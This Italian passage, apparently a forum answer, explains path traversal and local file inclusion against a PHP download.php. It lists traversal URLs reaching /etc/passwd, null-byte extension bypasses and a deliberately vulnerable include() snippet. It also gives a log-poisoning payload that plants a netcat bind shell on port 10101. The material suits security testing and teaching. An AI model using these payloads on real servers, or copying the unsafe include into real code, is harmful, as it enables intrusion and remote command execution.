Fornisci maggiori dettagli su ciò che hai provato. Quanto in alto sull'albero delle directory puoi andare. Supponendo che tu stia utilizzando Linux, qual è la risposta quando accedi ai seguenti URL:
/download.php?file=files/../../../../../../../../etc/passwd
/download.php?file=files/../../../../../../../../etc/passwd%00
/download.php?file=../../../../../../../../etc/passwd
/download.php?file=files/../download.php%00
/download.php?file=files/../download.php.txt%00
/download.php?file=files/../download.php.html%00
/download.php?file=files/../download.php.jpg%00
/download.php?file=files/../download%00
Potrebbero essere presenti i seguenti filtri:
- Convalida del percorso file che limita tutte le richieste a una determinata directory
- Prevenzione trasversale della directory; filtri che limitano la richiesta di file da altre directory superiori alla directory principale web ("/")
- Filtri dell'estensione file che impediscono la richiesta di un file con una certa estensione (cioè .php, .java, .aspx), solitamente file che gestiscono la logica lato server
Negli URL sopra riportati, i possibili caratteri finali del lato server vengono rimossi utilizzando il byte null (% 00) in modo che nessun carattere venga considerato oltre l'URL. Ad esempio, il percorso del file recuperato per i seguenti due URL è lo stesso del codice lato server:
/download.php?file=files/read_me.txt%00
/download.php?file=files/read_me.txt%00<some_string>
indica il percorso:
files/read_me.txt
Si noti che il server può concatenare una stringa che rappresenta un'estensione del file richiesto.
L'aggiunta di un'estensione aggiuntiva al file può indurre i filtri a pensare che stai richiedendo un file con un'estensione valida. Solitamente le estensioni di file statiche sono accettate: .html, .css, .jpg (la maggior parte dei formati di immagine), .js e s.o ..
Si noti che per la richiesta di successo il percorso del file deve essere valido.
A seconda di come è scritto download.php , potrebbe esserci anche la possibilità di LFI attacco. Se il parametro file non è disinfettato e utilizzato per includere un'altra pagina come segue:
<?php
$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
il codice php può essere eseguito dopo l'inclusione del rispettivo file. Un mezzo comune consiste nell'utilizzare i file di registro del server per inserire codice dannoso inserendo il codice all'interno del corpo della richiesta. Ad esempio, effettuando la seguente richiesta:
/index.php?blah=<?php shell_exec('nc -l -p 10101 -e /bin/bash'); ?>
una porta sul retro è impostata sul server sulla porta 10101 se il file di registro è incluso in uno script php simile a quello sopra. Ad esempio, effettuando la seguente richiesta:
download.php?file=../../../../../../../var/log/apache2/access.log%00
netcat apre una connessione in modalità ascolto sulla porta 10101. Oggigiorno, la maggior parte dei provider di hosting disabilita le funzioni di esecuzione dei comandi di php.